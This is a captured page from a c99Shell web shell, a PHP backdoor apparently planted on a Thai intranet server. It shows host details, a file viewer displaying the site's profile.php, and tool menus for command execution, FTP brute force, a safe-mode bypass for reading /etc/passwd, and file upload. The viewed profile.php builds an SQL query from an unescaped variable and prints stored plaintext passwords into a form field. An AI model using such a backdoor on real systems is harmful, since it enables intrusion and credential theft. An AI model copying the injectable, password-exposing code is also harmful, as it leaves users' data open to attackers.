!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/intranet/   drwxrwxrwx
Free 51.23 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     profile.php (4.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
session_start
();
include_once(
'config.php');      
chkLogin();
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="style.css" rel="stylesheet" type="text/css">
<title>-== : ÂÔ¹´Õµé͹ÃѺÃкº Intranet BCNU : ==-</title>
</head>

<body leftmargin="0" rightmargin="0" topmargin="0" bottommargin="0">
<table width="755" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td colspan="2" align="center"><?php include("header.php");?></td>
  </tr>
  <tr>
    <td colspan="2" background="images/bg_table.png" height="30"><div align="right" class="f3">
     ÂÔ¹´Õµé͹ÃѺ&nbsp;&nbsp;
    &nbsp;&nbsp;</div></td>
  </tr>
  <tr>
    <td width="30%" bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  
  <tr>
    <td align="center" valign="top" bgcolor="#FFEECC"><?php include("menu_member.php");?></td>
    <td valign="top" bgcolor="#FFFFFF">
    <?php
    connDB
();
    
$sql="select * from person where pid='$pid'" ;
    
mysql_query("SET NAMES TIS620");
    
$result=mysql_query($sql);
    
$record=mysql_fetch_array($result);
    
?>
    <form action="redir.php" method="post" enctype="application/x-www-form-urlencoded" name="frmLogin" id="frmLogin">
    <table width="90%" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td><img src="images/profile.gif" width="200" height="58"></td>
      </tr>
        <td height="20" bgcolor="#FFFFFF" class="f6">
        <table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="#E3F0FC">
          <tr>
            <td width="30%" height="22" bgcolor="#FFFFFF" class="f7" align="right">username&nbsp;</td>
            <td width="70%" bgcolor="#FFFFFF" class="f6">&nbsp;<?=$record[uid]; ?></td>
          </tr>
          <tr>
            <td bgcolor="#FFFFFF" class="f7" align="right">password&nbsp;</td>
            <td bgcolor="#FFFFFF"><input name="pwd" type="password" 
            id="txtRent" maxlength="200"  value="<?=$record[password]?>"></td>
          </tr>
          <tr>
            <td bgcolor="#FFFFFF" class="f7" align="right">ª×èÍ&nbsp;</td>
            <td bgcolor="#FFFFFF"><input type="text" name="fname" value="<?=$record['fname']?>"></td>
          </tr>
          <tr>
            <td bgcolor="#FFFFFF" class="f7" align="right">¹ÒÊ¡ØÅ&nbsp;</td>
            <td bgcolor="#FFFFFF"><input type="text" name="lname" value="<?=$record['lname']?>"></td>
          </tr>
          <tr>
            <td bgcolor="#FFFFFF" class="f7" align="right">·ÕèÍÂÙè&nbsp;</td>
            <td bgcolor="#FFFFFF"><input type="text" name="address" value="<?=$record['address']?>"></td>
          </tr>
          <tr>
            <td bgcolor="#FFFFFF" class="f7" align="right">ÍÕ-àÁÅÅì&nbsp;</td>
            <td bgcolor="#FFFFFF"><input type="text" name="email" value="<?=$record['email']?>"></td>
          </tr>

          <tr>
            <td bgcolor="#FFFFFF" class="f7">&nbsp;</td>
            <td height="35" bgcolor="#FFFFFF"><input type="submit" name="Submit" value="ºÑ¹·Ö¡"></td>
          </tr>
        </table></td>
      </tr>
    </table></form></td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="2" align="center"><?php include("footer.php");?></td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.017 ]--